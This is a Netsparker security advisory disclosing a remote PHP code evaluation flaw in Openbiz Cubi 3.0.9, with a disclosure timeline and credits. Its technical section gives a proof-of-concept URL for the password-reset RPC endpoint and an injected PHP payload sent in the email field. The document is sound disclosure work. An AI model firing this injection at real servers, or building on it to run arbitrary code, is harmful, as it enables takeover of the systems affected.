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Remote Code Evaluation Vulnerability in Openbiz Cubi

Information
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Advisory by Netsparker.
Name: Remote Code Evaluation Openbiz Cubi
Affected Software : Openbiz Cubi
Affected Versions: 3.0.9 and possibly below
Vendor Homepage : http://www.openbiz.me/developer/cubi.php
Vulnerability Type : Remote Code Evaluation
Severity : Critical
Netsparker Advisory Reference : NS-14-045

Description
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An attacker can execute arbitrary PHP code on the system. The attacker may also be able to execute arbitrary system commands.

Technical Details 
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Proof of Concept URLs for RCE in Openbiz Cubi:

http://example.com/openbiz/bin/controller.php?F=RPCInvoke&P0=[user.form.ForgetPassForm]&P1=[ResetPassword]&__this=btn_restpass:onclick&_thisView=user.view.ForgetPassView (POST, fields: email)
'+print(int)0xFFF9999-22+'

For more information on RCE vulnerabilities read the article Remote Code Evaluation.

Advisory Timeline
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27/06/2014 - First Contact
07/07/2014 - Second Contact
24/12/2014 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner.

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